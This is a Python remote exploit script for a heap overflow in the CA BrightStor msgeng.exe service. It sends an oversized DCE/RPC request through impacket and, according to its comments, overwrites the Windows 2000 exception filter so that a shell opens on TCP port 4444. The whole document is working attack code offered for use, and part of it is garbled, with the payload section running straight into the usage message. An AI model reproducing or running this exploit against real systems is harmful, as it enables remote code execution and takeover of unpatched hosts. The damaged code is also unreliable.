#!/usr/bin/python # I couldnt find a reliable exploit for my analysis and so came up with this. # Remote exploit for the CA BrightStor msgeng.exe service heap overflow # vulnerability as described in LS-20060313.pdf on lssec.com. The exploit was # tested on windows 2000 SP0. Opens a shell on TCP port 4444. Shouldnt be hard # to port to other platforms. The exploit overwrites the # UnhandledExceptionFilter in windows 2000 SP0 (located at 77EE044C) with the # address of call dword ptr [esi +4C] located in user32.dll. At the time when # UEF is called esi +4C contains a pointer to our shellcode. # # Winny M Thomas ;-) # Author shall bear no responsibility for any screw ups caused by using this code from impacket.dcerpc import transport, dcerpc from impacket import uuid import struct import sys def DCEconnectAndExploit(target): trans = transport.TCPTransport(target, 6503) trans.connect() dce = dcerpc.DCERPC_v5(trans) dce.bind(uuid.uuidtup_to_bin(('dc246bf0-7a7a-11ce-9f88-00805fe43838', '1.0'))) request = "A" * 676 request += "\x90\x90\x90\x90" request += "\x90\x90\xeb\x0a" #Call dword ptr [esi +4C] from user32.dll request += struct.pack("\n' % sys.argv[0] sys.exit(-1) DCEconnectAndExploit(target)